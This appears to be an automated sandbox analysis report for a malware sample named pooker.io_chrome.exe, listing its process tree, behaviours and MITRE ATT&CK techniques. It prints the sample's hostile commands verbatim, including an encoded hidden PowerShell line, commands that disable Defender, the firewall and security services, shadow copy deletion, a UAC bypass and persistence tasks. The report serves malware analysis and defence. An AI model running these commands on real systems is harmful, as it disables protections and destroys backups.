PID 1492 wrote to memory of 5772	1492	pooker.io_chrome.exe	145
PID 1492 wrote to memory of 4120	1492	pooker.io_chrome.exe	146
PID 1492 wrote to memory of 4772	1492	pooker.io_chrome.exe	147
PID 1492 wrote to memory of 3912	1492	pooker.io_chrome.exe	148
PID 1492 wrote to memory of 3704	1492	pooker.io_chrome.exe	156
PID 1492 wrote to memory of 1732	1492	pooker.io_chrome.exe	157
PID 1492 wrote to memory of 2888	1492	pooker.io_chrome.exe	158
PID 1492 wrote to memory of 5324	1492	pooker.io_chrome.exe	159
PID 1492 wrote to memory of 5100	1492	pooker.io_chrome.exe	160
PID 1492 wrote to memory of 5624	1492	pooker.io_chrome.exe	161
PID 1492 wrote to memory of 4596	1492	pooker.io_chrome.exe	162
PID 2948 wrote to memory of 2128	2948	cmd.exe	169
PID 2368 wrote to memory of 4232	2368	cmd.exe	170
PID 3788 wrote to memory of 1096	3788	cmd.exe	171
PID 5508 wrote to memory of 796	5508	cmd.exe	172
PID 5772 wrote to memory of 2600	5772	cmd.exe	173
PID 4120 wrote to memory of 4916	4120	cmd.exe	174
PID 4772 wrote to memory of 3376	4772	cmd.exe	175
PID 5324 wrote to memory of 5356	5324	net.exe	176
PID 2600 wrote to memory of 2864	2600	net.exe	177
PID 2948 wrote to memory of 3844	2948	cmd.exe	178
PID 2088 wrote to memory of 5612	2088	chrome.exe	179
PID 2088 wrote to memory of 1888	2088	chrome.exe	180
PID 2088 wrote to memory of 1524	2088	chrome.exe	181
PID 2088 wrote to memory of 1888	2088	chrome.exe	180
PID 2088 wrote to memory of 1524	2088	chrome.exe	181
PID 2088 wrote to memory of 3520	2088	chrome.exe	184
PID 2088 wrote to memory of 3872	2088	chrome.exe	185

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pooker.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffee71bc728,0x7ffee71bc734,0x7ffee71bc740
    3⤵
    PID:2844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2084,i,6738850187110337676,13993283495677648317,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=1464 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,13230721093765243085,17138758231009086663,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:13
    3⤵
    PID:4700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,9919796475211764566,2314798840546623335,262144 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:5944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,14731106015143461493,1349486739422582287,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
    3⤵
    PID:4420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,12330650354469574300,12541164078138184460,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:1704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4648,i,5124975974958129892,7285858998425078994,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:1512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4664,i,8454093770681331801,10704735880920984765,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:14
    3⤵
    PID:5612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5576,i,3862800953616164130,13783397226361345871,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:1
    3⤵
    PID:1888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5616,i,18368585904983511841,10389734950035266545,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:1
    3⤵
    PID:1524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5908,i,4612753693633647006,2273120073050790526,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:1
    3⤵
    PID:3520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5916,i,9318610879234526719,5656494799857138900,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:14
    3⤵
    PID:3872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5880,i,962173518368852290,13078497388925866116,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:1
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6300,i,16327657960899202506,6566429164985581768,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:1
    3⤵
    PID:2544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5460,i,17427715695703063127,10839943749198853131,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:1
    3⤵
    PID:888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5720,i,4747409194272801960,1783511128280450601,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:1
    3⤵
    PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5336,i,9047187071557854213,16437332951017354805,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:1
    3⤵
    PID:4944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5376,i,14063124659525278671,5531785854480679048,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
    3⤵
    PID:4256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5612,i,13971800247607697364,845894554724162398,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:14
    3⤵
    PID:5964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6332,i,10331993393285382911,6307222583589799645,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:9
    3⤵
    PID:3472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=3292,i,12500809230522507628,10067508369100642146,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:1
    3⤵
    PID:5228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5792,i,5545200645229212216,16777798042360206577,2097152 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:1
    3⤵
    PID:4968
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3308,i,7626632558433222392,14184847819528727040,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
    3⤵
    PID:4632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3908,i,10551747627662241599,1650143420453440012,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:14
    3⤵
    PID:1248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6348,i,4185599749539566065,11419170942091830675,524288 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:14
    3⤵
    PID:3960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6000,i,1897228105908462222,12378687141643508507,262144 --field-trial-handle=1916,i,352084281035850857,12916730543995143137,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:10
    3⤵
    PID:4452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2988
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1624
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3648
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2948
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2448
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe"
    3⤵
    PID:2836
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5796
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3412
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6028
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2860
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5104
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4132
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2128
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5508
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5772
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2864
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3376
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3912
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3704
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1732
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5104
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2888
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5356
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5624
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4596

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:52

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3696

C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe
1⤵
PID:888

C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pooker.io_chrome.exe
1⤵
PID:3620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery